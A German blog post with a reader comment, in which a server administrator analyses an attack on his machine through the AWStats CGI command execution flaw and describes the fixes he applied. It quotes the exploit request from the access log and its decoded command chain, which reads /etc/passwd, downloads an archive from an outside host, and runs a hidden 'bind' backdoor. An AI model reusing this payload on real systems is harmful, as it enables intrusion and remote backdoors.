Schrecksekunde
Doch kommen wir nun zu den Details, die mit dem Pinguin weniger vertraute Zeitgenossen allerdings eher nicht interessieren dürften...
Erste Spuren aus Bits und Bytes hinterließ der Lausbub im mir stündlich zugesandten Bericht zur Vitalität meines loyalen Dieners, als der per PAX gehärtete Kernel einen vergeblichen Core-Dump im Syslog verzeichnete:
Mar 9 03:16:02 pandora kernel: PAX: From 61.121.213.42: execution attempt in: /var/tmp/tw/x0a, 08048000-0804a000 00000000 Mar 9 03:16:02 pandora kernel: PAX: terminating task: /var/tmp/tw/x0a(x0a):4238, uid/euid: 33/33, PC: 08049aed, SP: 59f2b4b0 Mar 9 03:16:02 pandora kernel: PAX: bytes at PC: 53 51 52 56 57 eb 0b 58 89 c3 81 eb 17 00 00 00 ff e0 e8 f0 Mar 9 03:16:02 pandora kernel: grsec: From 61.121.213.42: attempted resource overstep by requesting 4096 for RLIMIT_CORE against limit 0 by /var/tmp/tw/x0a[x0a:4238] uid/euid:33/33 gid/egid:33/33, parent /var/tmp/tw/bind[bind:24718] uid/euid:33/33 gid/egid:33/33
Schnell fanden sich weitere Hinweise, die eine Rekonstruktion des Zwischenfalls immer detaillierter möglich machten:
> zgrep 61.121.213.42 /var/log/apache/access.log* /var/log/apache/access.log: 61.121.213.42 - - [09/Mar/2005:03:21:06 +0100] "GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20 b_exp%3bcat%20%2fetc%2fpasswd%3buname%20%2da%3bid%3bech o%20Instalam%20Bind%20in%20%2fvar%2ftmp%3bcd%20%2fvar%2 ftmp%3bwget%20www%2epetry%2ese%2fpublic_html%2ftw%2etar %2egz%3btar%20%2dxvzf%20tw%2etar%2egz%3bcd%20tw%3b%2e%2 fbind%3becho%20Instalam%20bind%20in%20%2ftmp%3bcd%20%2f tmp%3bwget%20www%2epetry%2ese%2fpublic_html%2ftw%2etar% 2egz%3btar%20%2dxvzf%20tw%2etar%2egz%3bcd%20rw%3b%2e%2f bind%3becho%20%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2 d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3becho%20by%20Zorg%2 0of%20texter%21%3becho%20e_exp%3b%2500 HTTP/1.1“ 200 2966 ”-“ ”-" In:0 Out:0:0pct.
Mea Culpa. Es ist überdeutlich zu sehen: Hier wird eine bekannte Remote Command Execution Vulnerability des Logfile Analyzers AWStats bedient. Asche auf mein Haupt: Das entsprechende Advisory scheint spurlos an mir vorüber gegangen zu sein. Ob es mir ein kleiner Trost sein sollte, das dies nicht mein alleiniges Schicksal darstellt? Die Zwischennetzpräsenz titelt derweil in roten Lettern:
If you use AWStats with a more recent version or if AWStats is not available as a CGI, you are safe. If not, it is highly recommanded to upgrade to 6.4 version that fix all known security holes."
Nun gut, wenig originell nutzte man also leidlich Abgehangenes, um mit den Rechten des Webservers ausgestattet folgende Kommandos auf meinen kleinen Rechner loszulassen:
echo; echo b_exp; cat /etc/passwd; uname -a; id; echo Instalam Bind in /var/tmp; cd /var/tmp; wget www.petry.se/public_html/tw.tar.gz; tar -xvzf tw.tar.gz; cd tw; ./bind; echo Instalam bind in /tmp; cd /tmp; wget www.petry.se/public_html/tw.tar.gz; tar -xvzf tw.tar.gz; cd rw; ./bind; echo -------------------------; echo by Zorg of texter!; echo e_exp;
Dankenswerterweise funktioniert diese Befehlskette aus mehreren Gründen auf meinen Rechenknechten nicht ganz so, wie sie es nach dem Willen des uninspirierten Vandalen wohl hätte tun sollen - ein kurzer Audit offenbarte schnell, das hier Laien am Werk waren. Dem muß nicht immer so sein, und so darf ich von Glück sprechen, dass meine Nachlässigkeit nicht zu dem sonst notwendigen Neuaufsetzen des heimatlichen Routers führte.
Selbst das README des überelitären h4x0r-t3w1Z ließ man dem staunenden Beobachter zum gespannten Lektorat quasi auf dem Tisch liegen:
> cat tw/README 59768 port backdoor no password needed , easy to install and hiding from ps and ps ax:D have phun ! wget at home.ro
Fazit: AWstats selbst läuft nun nach den notwendigen Updates auf den von mir zu verantwortenden Präsenzen nur noch per Cronjob, die entsprechenden CGIs sind den Weg alles Irdischen gegangen. Aktualisiert im völlig außreichenden Stundentakt werden die aufbereiteten Statistiken jetzt ausschließlich in Form statischer HTML-Seiten dem geneigten Betrachter zur Verfügung gestellt. Nach zwei sicherheitsrelevanten Updates des grsecurity Kernel Patches war es außerdem an der Zeit, die im Zuge der immer regelmäßiger auftauchenden Kernelbugs sowieso nicht mehr ganz so eindrucksvolle Uptime einmal mehr den gegebenen Realitäten anzupassen.

Shivan
9 Mai 2005
und gleich mehrmals hintereinander. Habe zuerst meinen Apache2/PHP dafür verantwortlich gemacht und erstmal geupdatet, aber als ich mir dann dennoch wieder was eingefangen hatte hab ich doch mal genauer geschaut. Und das access-log von apache2 zeigte mir dann die Ursache...
Aber er konnte immerhin bei mir nicht viel anrichten, da ich den Apache schön brav unter dem User www-data laufen hab lassen :)